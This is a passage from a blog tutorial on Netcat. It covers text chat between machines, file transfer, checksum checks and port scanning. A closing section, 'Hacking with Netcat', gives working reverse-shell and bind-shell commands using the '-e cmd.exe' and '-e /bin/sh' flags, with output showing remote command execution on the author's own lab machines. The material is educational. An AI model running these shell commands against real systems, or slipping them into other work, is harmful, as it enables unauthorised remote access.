Content-Security-Policy: default-src 'none'; base-uri 'self'; block-all-mixed-content; connect-src 'self' uploads.github.com www.githubstatus.com collector.githubapp.com api.github.com github-cloud.s3.amazonaws.com github-production-repository-file-5c1aeb.s3.amazonaws.com github-production-upload-manifest-file-7fdce7.s3.amazonaws.com github-production-user-asset-6210df.s3.amazonaws.com cdn.optimizely.com logx.optimizely.com/v1/events translator.github.com wss://alive.github.com github.githubassets.com; font-src github.githubassets.com; form-action 'self' github.com gist.github.com; frame-ancestors 'none'; frame-src render.githubusercontent.com render-temp.githubusercontent.com viewscreen.githubusercontent.com; img-src 'self' data: github.githubassets.com identicons.github.com collector.githubapp.com github-cloud.s3.amazonaws.com secured-user-images.githubusercontent.com/ *.githubusercontent.com customer-stories-feed.github.com spotlights-feed.github.com; manifest-src 'self'; media-src github.githubassets.com; script-src github.githubassets.com; style-src 'unsafe-inline' github.githubassets.com; worker-src github.com/socket-worker-3f088aa2.js gist.github.com/socket-worker-3f088aa2.js
Set-Cookie: _gh_sess=tYm0qZ0oXFzUG8Dc2YucTOhIJuxeFGVTx4tGW%2FZcYx4QI9MrYoSWsuVvGqMCZh0YG7eUdsDe6231%2FnGMLJsxNjhkF3mNyblLnF8mPQX%2BVltD6E98n0Tih9DUf2I49lYyOCjp6UvUewn1NAYW%2FGOKFUn8%2F2dUvHBJQ%2F3UKEE%2F9w97caNikSZDtZxnaF91O8H0AV%2FkKuUVwJASOsxJviza87B13bE9eLfzMej9ndm2Ywb5yfTUEYccO3sPjRHp7UkSWnRFkt5LHuAEMg81QCCgmA%3D%3D--cVgPJ6RLH%2FItXYgz--Rk9K72INktZw6RibFZJoxA%3D%3D; Path=/; HttpOnly; Secure; SameSite=Lax
Set-Cookie: _octo=GH1.1.1661960893.1626050330; Path=/; Domain=github.com; Expires=Tue, 12 Jul 2022 00:38:50 GMT; Secure; SameSite=Lax
Set-Cookie: logged_in=no; Path=/; Domain=github.com; Expires=Tue, 12 Jul 2022 00:38:50 GMT; HttpOnly; Secure; SameSite=Lax
Accept-Ranges: bytes
X-GitHub-Request-Id: 041C:0BCA:7B79525:7FD6376:60EB8F1A

Ncat: 37 bytes sent, 2595 bytes received in 0.26 seconds.</pre>



<p>As you can see, now the output is showing correctly. We can also see the cookie and some encryption information as well in the header.</p>



<p>Sometimes you’ll require a certificate to connect to the host. You can create an SSL Certificate and SSL key with <code>--ssl-cert</code> and <code>--ssl-key</code> respectively. Find more on this on the Ncat user manual’s <a href="https://nmap.org/ncat/guide/ncat-ssl.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">SSL page<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<h2 id="creating-a-simple-chat-using-netcat" class="wp-block-heading">Creating a simple chat using Netcat</h2>



<p>Now that you know how to create a client and a server with Netcat, let’s build both and create a chatting functionality between them.</p>



<p>You can do this over remote network machines or within your local network. We&#8217;ll just need two computers that can run Netcat (it can be a computer, virtual machine or phone with a terminal and netcat installed)</p>



<p class="black-bg"><strong>What we&#8217;ll do:</strong> On the first machine (doesn&#8217;t matter which) we&#8217;ll just run the command to create a server and listen on a port, in our case 4000. On the second machine we&#8217;ll run the command to connect to the first machine&#8217;s IP and port, thereby establishing the connection. From there we can just write messages from one machine and they&#8217;ll instantly appear on the other.</p>



<p>Let’s get started.</p>



<h3 id="within-your-local-network" class="wp-block-heading">Within your local network</h3>



<p>For our example, I&#8217;ll create a chat with a VMware virtual machine running Ubuntu 20.04.</p>



<p class="black-bg">You can try out the same thing, or you can use machines connected to your WiFi &#8211; such as if you have multiple computers that can have Netcat installed on them, or an Android phone running <a href="https://opensource.com/article/20/8/termux" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Termux<span class="wpel-icon wpel-image wpel-icon-19"></span></a> (installed from <a href="https://f-droid.org/packages/com.termux/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">f-droid.org<span class="wpel-icon wpel-image wpel-icon-19"></span></a> on which you can install Netcat).<br><br>Most likely there are options for iOS, and other operating systems as well, however I haven&#8217;t tried them myself.</p>



<p>Make sure both the machines have Netcat installed.</p>



<p>First, figure out the <strong>private IP address</strong> (IPv4) of the computer where we&#8217;ll run the server on, because we&#8217;ll need to know it so we can connect to it from the second computer.</p>



<h4 id="finding-your-private-ip-address" class="wp-block-heading">Finding your private IP address</h4>



<div class="wp-block-group neon-border is-layout-flow wp-block-group-is-layout-flow">
<p>Your <strong>private IP address</strong> is different than your <strong>public IP address</strong> [which is the IP address most of us are familiar with].</p>



<p>A <strong>private</strong><strong> IP address</strong> is an IP address used within a private network, such as your home network (unlike the <strong>public IP address</strong> which you would use to access the internet).</p>



<p>Typically, <em>a private IP address is assigned to each device connected to your local network by your router</em>. Say you have multiple computers and phones, a printer and a smart TV &#8211; all of them are assigned a private IP address.</p>



<p>IP ranges used by private networks are, so your private IP address should be from one of those ranges.</p>



<ul class="wp-block-list"><li>10.0.0.0/8</li><li>172.16.0.0/12</li><li>192.168.0.0/16</li></ul>
</div>



<p>On Linux, you can determine your private IP address using command such as <code>ip addr</code>, <code>ifconfig</code> or <code>hostname -I</code> (uppercase <strong>I</strong>).</p>



<h5 id="determine-your-private-ip-address-using-ip-addr-or-ifconfig" class="wp-block-heading">Determine your private IP address using ip addr or ifconfig</h5>



<p>We&#8217;ll use <code>ip addr</code> since it&#8217;s meant to be a replacement for <code>ifconfig</code>, and <strong>ifconfig</strong> may not come pre-installed on recent Linux systems.</p>



<p>When you run it, the system will display all your network interfaces.</p>



<pre class="wp-block-preformatted prompt">ip addr</pre>


<div class="codeblock-title">Output</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="10" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens33: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UNKNOWN group default qlen 1000
    link/ether 00:0c:29:12:e9:70 brd ff:ff:ff:ff:ff:ff
    altname enp2s1
    inet 192.168.145.131/24 brd 192.168.145.255 scope global dynamic noprefixroute ens33
       valid_lft 992sec preferred_lft 992sec
    inet6 fe80::c567:c033:897f:58ea/64 scope link noprefixroute 
       valid_lft forever preferred_lft forever</pre>



<p>What we&#8217;re interested in is what comes after <code>inet</code> in the details for the network interface that we&#8217;re using.</p>



<p>Your output may display more network interfaces, such as <code>eth0</code>, <code>wlan0</code> and so on.</p>



<p>To determine the network interface that you&#8217;re using you can use the <code>route</code> command:</p>



<pre class="wp-block-preformatted prompt">route</pre>


<div class="codeblock-title">Output</div>



<pre class="EnlighterJSRAW" data-enlighter-language="raw" data-enlighter-theme="" data-enlighter-highlight="3" data-enlighter-linenumbers="" data-enlighter-lineoffset="" data-enlighter-title="" data-enlighter-group="">Kernel IP routing table
Destination     Gateway         Genmask         Flags Metric Ref    Use Iface
default         _gateway        0.0.0.0         UG    100    0        0 ens33
link-local      0.0.0.0         255.255.0.0     U     1000   0        0 ens33
192.168.145.0   0.0.0.0         255.255.255.0   U     100    0        0 ens33</pre>



<p>The <code>Iface</code> column on the same line with <strong>default</strong> in the <code>Destination</code> column should tell you the interface that you are using (the highlighted line).</p>



<p>As we can see, the interface I&#8217;m using is <code>ens33</code>, and if we look up to the output from where I ran <strong>ip addr</strong>, under <strong>ens33</strong> and after <strong>inet</strong> we see <code>192.168.145.131</code>.</p>



<p>So my private IP address is <code>192.168.145.131</code>.</p>



<h5 id="determine-your-private-ip-address-using-hostname-i" class="wp-block-heading">Determine your private IP address using hostname -I</h5>



<p>You can also easily display your private IP address using <code>hostname -I</code> (uppercase <strong>I</strong>), however you will be shown multiple IPs if you have multiple configured interfaces.</p>



<p>For example, when I run it on the same machine as before, I get a quick and clean private IP address in the output.</p>



<pre class="wp-block-preformatted prompt">hostname -I</pre>


<div class="codeblock-title">Output Machine 1</div>



<pre class="wp-block-preformatted">192.168.145.131</pre>



<p>However, when I run it on a different machine:</p>


<div class="codeblock-title">Output Machine 2</div>



<pre class="wp-block-preformatted">10.0.2.15 192.168.33.10</pre>



<p>In this case, the second IP (<strong>192.168.33.10</strong>) is the one I can connect to on my local network via Netcat.</p>



<p>I usually use the <code>ip addr</code> method.</p>



<p>We&#8217;ll refer to the computers as:</p>



<ol class="wp-block-list"><li><strong>Machine 1</strong> &#8211; the computer whose private IP address we&#8217;ve determined, where we will create the server and listen on port 4000</li><li><strong>Machine 2</strong> &#8211; the computer that we&#8217;ll use to connect to <strong>Machine 1</strong></li></ol>



<p>Now, assuming that you&#8217;ve found your private IP address for <strong>Machine 1</strong>, create a server on it, listening on any port (I&#8217;ll use 4000). To do this run:</p>



<pre class="wp-block-preformatted prompt">nc -vlp 4000</pre>


<div class="codeblock-title">Output Machine 1 (Server)</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>Now Netcat will be listening on <strong>Machine 1</strong> which has the IP address of <code>192.168.145.131</code>. <em>This is our server</em>.</p>



<p>Now let&#8217;s connect to this server from another device within our local network (which is <strong>Machine 2</strong>.</p>



<p>We&#8217;ll use the server&#8217;s IP address and port to connect to it. Run the following command, replacing the IP with your machine&#8217;s private IP address:</p>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000</pre>


<div class="codeblock-title">OutputMachine 2 (Client)</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.</pre>



<p>As we can see our client has connected to the server. If we take a look at our server we’ll instantly see the machine connected to it:</p>


<div class="codeblock-title">Output Machine 1 (Server)</div>



<pre class="wp-block-preformatted">Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:1049.</pre>



<p>Now the client-server connection has been established. You can type in anything in any of the machines and you’ll see the message instantly on the other machine. Here are the commands and outputs of each machine:</p>


<div class="codeblock-title">Command + Output Machine 1 (Server)</div>



<pre class="wp-block-preformatted prompt">n -vlp 4000

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000
Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:1049.
Hi. Can you see this?
Yes, I can. Hi!
So what are you thinking about?
Oh, you know, tutorials &amp; stuff.</pre>


<div class="codeblock-title">Command + Output Machine 2 (Client)</div>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000

Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.
Hi. Can you see this?
Yes, I can. Hi!
So what are you thinking about?
Oh, you know, tutorials &amp; stuff.</pre>



<h4 id="video-demo-of-creating-a-simple-chat-using-netcat" class="wp-block-heading">[Video] Demo of creating a simple chat using Netcat</h4>



<p>Here&#8217;s a very short video demonstrating this. On the left there&#8217;s what we call <strong>Machine 1</strong>, which is an Ubuntu 20.04 virtual machine, and on the left I&#8217;m using Cmder on Windows 10.</p>



<a href="https://nooblinux.com/how-to-use-netcat/" data-wpel-link="internal"><img decoding="async" src="https://nooblinux.com/wp-content/plugins/wp-youtube-lyte/lyteCache.php?origThumbUrl=%2F%2Fi.ytimg.com%2Fvi%2FrVYvElK9CBU%2Fhqdefault.jpg" alt="YouTube Video"></a><br /><br /></p>



<h3 id="within-a-single-computer" class="wp-block-heading">Within a single computer</h3>



<p>If you do not have access to another computer in your local network, you can also try this on your computer with two terminals.</p>



<p>Open two terminals and just follow the same procedure with the <code>nc</code> command.</p>



<p>Create a server and a client and you can send text from one to the other terminal and communicate between them in real-time.</p>



<h2 id="transferring-files-between-two-hosts-using-netcat" class="wp-block-heading">Transferring files between two hosts using Netcat</h2>



<p>You’ve already seen how Netcat can send texts from one host to another using the client-server setup. Now let’s learn to send some more useful things rather than just texts.</p>



<p>You can send any file over netcat. There are two ways to do this:</p>



<ol class="wp-block-list"><li>Serve the file on the Netcat server</li><li>Push the file from the client side</li></ol>



<p>We&#8217;ll cover both.</p>



<h3 id="serve-the-file-from-a-server" class="wp-block-heading">Serve the file from a server</h3>



<p>Let’s start with how to serve the file using the Netcat server.</p>



<p>In this method, the server has to be created on the machine that contains the file.</p>



<p>Pipe the file into the server:</p>


<div class="codeblock-title">Server Command</div>



<pre class="wp-block-preformatted prompt">cat nooblinux_assets.zip | nc -vlp 4000</pre>


<div class="codeblock-title">Server Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>On the other machine (also known as the client), type in the following to connect to the server and save the file, replacing the IP with your machine&#8217;s private IP:</p>


<div class="codeblock-title">Client Command</div>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000 &gt; nooblinux_assets.zip</pre>



<p>You will see the typical output.</p>


<div class="codeblock-title">Client Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.</pre>



<p>And on the first machine (the server) you will see the typical output as we&#8217;ve seen before, when the other machine connects to it:</p>


<div class="codeblock-title">Server Output</div>



<pre class="wp-block-preformatted">Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:1049.</pre>



<p>Your file will transfer. But you might notice a problem with this method immediately – there’s no indication if the file completed transferring or not. The connection stays open.</p>



<p>This brings us to the second method.</p>



<h3 id="push-the-file-to-the-server-from-the-client" class="wp-block-heading">Push the file to the server from the client</h3>



<p>Now we’ll just listen on a port on the server and <em>save whatever comes to it</em> instead of serving the file.</p>



<p>This means the machine with the file will be the client and it will send the file to the server.</p>



<p>Let’s create a server and save the incoming data:</p>



<pre class="wp-block-preformatted prompt">nc -vlp 4000 &gt; whatever_may_come.zip</pre>


<div class="codeblock-title">Output Server</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>Now let’s connect the client to the server and push the file:</p>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000 &lt; nooblinux_assets.zip</pre>


<div class="codeblock-title">Output Client</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.
Ncat: 245394 bytes sent, 0 bytes received in 7.04 seconds.</pre>



<p>This method works much better than the previous. It closes the connection as soon as the file is transferred.</p>



<p>So, you know that the file was successfully transferred and don’t have to worry about unfinished file transfer.</p>



<h3 id="checking-if-the-file-transfer-was-successful" class="wp-block-heading">Checking if the file transfer was successful</h3>



<p>You can check if the file you downloaded was finished transferring properly or if it is not the same file you wanted to download.</p>



<p>Checking the checksum of the file will reveal if the files are the same or not.</p>



<p>A simple way to do this is using the <code>md5sum</code> tool which uses the <strong>md5 hash algorithm</strong>.</p>



<p class="neon-border">On Windows you have <code>md5sum.exe</code> and you can run it like in the following examples, but only replace <strong>md5sum</strong> with <strong>md5sum.exe</strong>.</p>



<p>In my case,run the commands on each of the files (the original one and the received one) so you can check if the resulting checksums are identical.</p>


<div class="codeblock-title">md5sum pushed file</div>



<pre class="wp-block-preformatted">md5sum nooblinux_assets.zip</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">3ba304b2acf42467b68ee9df05e5883e *nooblinux_assets.zip</pre>


<div class="codeblock-title">md5sum received file</div>



<pre class="wp-block-preformatted">md5sum whatever.zip</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">3ba304b2acf42467b68ee9df05e5883e  whatever.zip</pre>



<p>If the hashes match up then they are the same file. This is a very simple yet quite effective method to check if the file transferred successfully.</p>



<p>That’s why you’ll see many websites provide the checksums of their files so you can crosscheck if you downloaded the same file or not. This is very important since hackers can alter your download with a malicious file.</p>



<h2 id="scanning-ports-with-traditional-netcat" class="wp-block-heading">Scanning ports with traditional Netcat</h2>



<p>The traditional Netcat gives you the option to perform basic port scanning.</p>



<p class="blag-bg">As we mentioned in the beginning of this tutorial,&nbsp;<strong>Ncat</strong> lacks this feature, since it&#8217;s &#8220;big brother&#8221;, Nmap, already has advanced port scanning capabilities.<br><br>If you&#8217;d like to learn more about it, you can check our <a href="https://bytexd.com/how-to-use-nmap/" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">comprehensive tutorial on how to use Nmap<span class="wpel-icon wpel-image wpel-icon-19"></span></a>.</p>



<p>On Netcat, you can use the <code>-z</code> flag that doesn’t include the input/output and only tries to connect to the ports and finds out which ones are open.</p>



<p>Let’s scan a single port:</p>



<pre class="wp-block-preformatted prompt">netcat -vz nooblinux.com 443</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Connection to nooblinux.com 443 port [tcp/https] succeeded!</pre>



<p>To scan a range of ports, use the following syntax. The “-w” flag tells it to wait for the seconds specified after it. In this case, it’ll wait 1 second for each request –</p>



<pre class="wp-block-preformatted prompt">netcat -vzw1 scanme.nmap.org 20-25</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">netcat: connect to scanme.nmap.org port 20 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 20 (tcp) failed: Connection refused
netcat: connect to scanme.nmap.org port 21 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 21 (tcp) failed: Connection refused
Connection to scanme.nmap.org 22 port [tcp/ssh] succeeded!
netcat: connect to scanme.nmap.org port 23 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 23 (tcp) failed: Connection refused
netcat: connect to scanme.nmap.org port 24 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 24 (tcp) failed: Connection refused
netcat: connect to scanme.nmap.org port 25 (tcp) timed out: Operation now in progress
netcat: connect to scanme.nmap.org port 25 (tcp) failed: Connection refused</pre>



<p>As you can see from the output, port 22 (ssh) is open.</p>



<p>You can also scan UDP ports using the <code>-u</code> flag:</p>



<pre class="wp-block-preformatted prompt">nc -vzuw1 scanme.nmap.org 20-25</pre>



<h2 id="hacking-with-netcat" class="wp-block-heading">Hacking with Netcat</h2>



<p>Hackers and penetration testers often use Netcat to get shell access in a remote system.</p>



<p>If you have a machine with remote code execution capabilities, you can use Netcat to create a reverse shell or a backdoor in that machine.</p>



<p>This allows you to execute commands as a user on that machine.</p>



<p>There are two ways to do this. You can either:</p>



<ol class="wp-block-list"><li>create a <strong>reverse shell</strong></li><li>create a <strong>bind shell</strong></li></ol>



<h4 id="reverse-shell" class="wp-block-heading">Reverse Shell</h4>



<p>In a reverse shell, the attack machine listens on a specific port and the target machine initiates a shell and connects to the attack machine.</p>



<h4 id="bind-shell" class="wp-block-heading">Bind Shell</h4>



<p>In the bind shell, the target machine initiates the shell and listens to a port. The attacker machine connects to the target machine and gets shell access.</p>



<p class="orange-border"><strong>Notice:</strong> We’ll be using the <code>-e</code> flag on <strong>Ncat</strong> to execute after connection. If you see the <code>-e</code> flag is not supported in the version of Netcat you’re using, install another one.</p>



<h3 id="creating-a-reverse-shell-using-netcat" class="wp-block-heading">Creating a Reverse Shell using Netcat</h3>



<p>To create a reverse shell with Netcat, start a server with any port listening on the <strong>attacking machine</strong>. You&#8217;ll then connect to it from the <strong>target machine</strong>. Then you&#8217;ll be able to execute commands on the target machine from the attacking machine.</p>



<p>I&#8217;ll use a Windows 10 machine and an Ubuntu 20.04 machine and try it both ways. The difference will be that when we execute remote code on Windows, we&#8217;ll use <em>Windows Command Prompt</em> <code>cmd.exe</code> instead of the <em>Bourne <strong>sh</strong>ell</em> <code>sh</code>.</p>



<p>Let&#8217;s see how that works.</p>



<h4 id="attacker-linux-target-windows" class="wp-block-heading">Attacker: Linux / Target: Windows</h4>



<p>Run the following command on the attacking machine (you can use another port, I&#8217;ll use 4000):</p>



<pre class="wp-block-preformatted prompt">nc -vlp 4000</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>Now connect from the target machine with the shell access using the <code>-e</code> flag:</p>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000 -e cmd.exe</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.</pre>



<p>On the attacking machine, you’ll see the connection message:</p>



<pre class="wp-block-preformatted">Ncat: Connection from 192.168.145.1.
Ncat: Connection from 192.168.145.1:19095.
Microsoft Windows [Version 10.0.19042.1083]
(c) Microsoft Corporation. All rights reserved.

D:\Downloads&gt;</pre>



<p>I ran the command from the <code>D:\Downloads&gt;</code>.</p>



<p>Now you can type in some commands in the attack machine, and you’ll get replies from the target machine shell:</p>



<pre class="wp-block-preformatted">D:\Downloads&gt;whoami</pre>



<pre class="wp-block-preformatted">whoami
desktop-0i9jobe\shway</pre>



<p>Here, I typed in the <code>whoami</code> command to see the current user (<code>whoami</code> also works on Windows 10). As you can see, it’s <strong>desktop-0i9jobe\shway</strong>. That&#8217;s my desktop name and username.</p>



<p>Let’s execute more commands:</p>



<pre class="wp-block-preformatted">D:\Downloads&gt;ls</pre>



<pre class="wp-block-preformatted">nooblinux_assets.zip
some_wallpaper.png
an_emoji.png
verification.jpeg
rufus.exe</pre>



<p>You can execute commands on the target machine using the reverse shell like this from the attack machine.</p>



<h4 id="attacker-windows-target-linux" class="wp-block-heading">Attacker: Windows / Target: Linux</h4>



<p>Now let&#8217;s execute code remotely from Windows on Linux.</p>



<p>First we again create a server on our attacking machine, which is the Windows machine in my case (use the port of your choice):</p>



<pre class="wp-block-preformatted promptwin">nc -vlp 4000</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>And we&#8217;ll connect from the target machine (the Linux machine):</p>



<pre class="wp-block-preformatted promptwin">nc -v 192.168.100.16 4000 -e /bin/sh</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.100.16:4000.</pre>



<p>You won&#8217;t see any prompt symbol, but now we should be able to execute commands from the Windows machine and onto the Linux machine.</p>



<pre class="wp-block-preformatted">whoami</pre>



<pre class="wp-block-preformatted">ed</pre>



<p>My user on the Linux machine is <code>ed</code>, so that&#8217;s correct.</p>



<pre class="wp-block-preformatted">hostname</pre>



<pre class="wp-block-preformatted">nooblinux</pre>



<p>We can execute many more commands but that is beyond the scope of this tutorial. I hope the above examples have given you an idea of what you can do.</p>



<h3 id="creating-a-bind-shell-with-netcat" class="wp-block-heading">Creating a Bind Shell with Netcat</h3>



<p>Bind shell achieves the same purpose as the reverse shell. However, the process to create a bind shell is the opposite.</p>



<p>To create a bind shell, setup the target machine to listen on a port with shell access. As before, you will have to mention the appropriate command line interpreter. On Linux you can typically go with <code>/bin/sh</code> and on Windows with <code>cmd.exe</code>.</p>



<p class="black-bg">We won&#8217;t go into Linux-&gt;Windows, Windows-&gt;Linux scenarios such as we did for the reverse shell, but a simple example should give you a good idea of how to go about it both ways.</p>


<div class="codeblock-title">Set up a Linux target machine</div>



<pre class="wp-block-preformatted prompt">nc -vlp 4000 -e /bin/sh</pre>


<div class="codeblock-title">Set up a Windows target machine</div>



<pre class="wp-block-preformatted prompt">nc -vlp 4000 -e cmd.exe</pre>


<div class="codeblock-title">Output</div>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::4000
Ncat: Listening on 0.0.0.0:4000</pre>



<p>After that, you just have to connect to the target from the attack machine:</p>



<pre class="wp-block-preformatted prompt">nc -v 192.168.145.131 4000</pre>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.</pre>



<p>Now you can execute commands from the attack machine. Remember, you may not see a <strong>prompt symbol</strong>, but you can execute commands normally.</p>



<pre class="wp-block-preformatted">Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Connected to 192.168.145.131:4000.
whoami
ed
pwd
/home/ed
ls
file
file.log
file.log.save
file.txt
master_downloaded.zip
master_serve.zip</pre>



<h2 id="conclusion" class="wp-block-heading">Conclusion</h2>



<p>In this tutorial, we covered the fundamentals of the Netcat utility. We hoped that you liked it and that it was easy to read and understand. You can learn more about <strong>Ncat</strong> from the <a href="https://nmap.org/ncat/guide/index.html" target="_blank" rel="noopener external" data-wpel-link="external" class="wpel-icon-right">Ncat Users&#8217; Guide on Nmap.org<span class="wpel-icon wpel-image wpel-icon-19"></span></a>. If you have any problems feel free to leave a comment or contact us and we’ll get back to you as soon as possible.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://nooblinux.com/how-to-use-netcat/feed/</wfw:commentRss>
			<slash:comments>4</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">3208</post-id>	</item>
	</channel>
</rss>
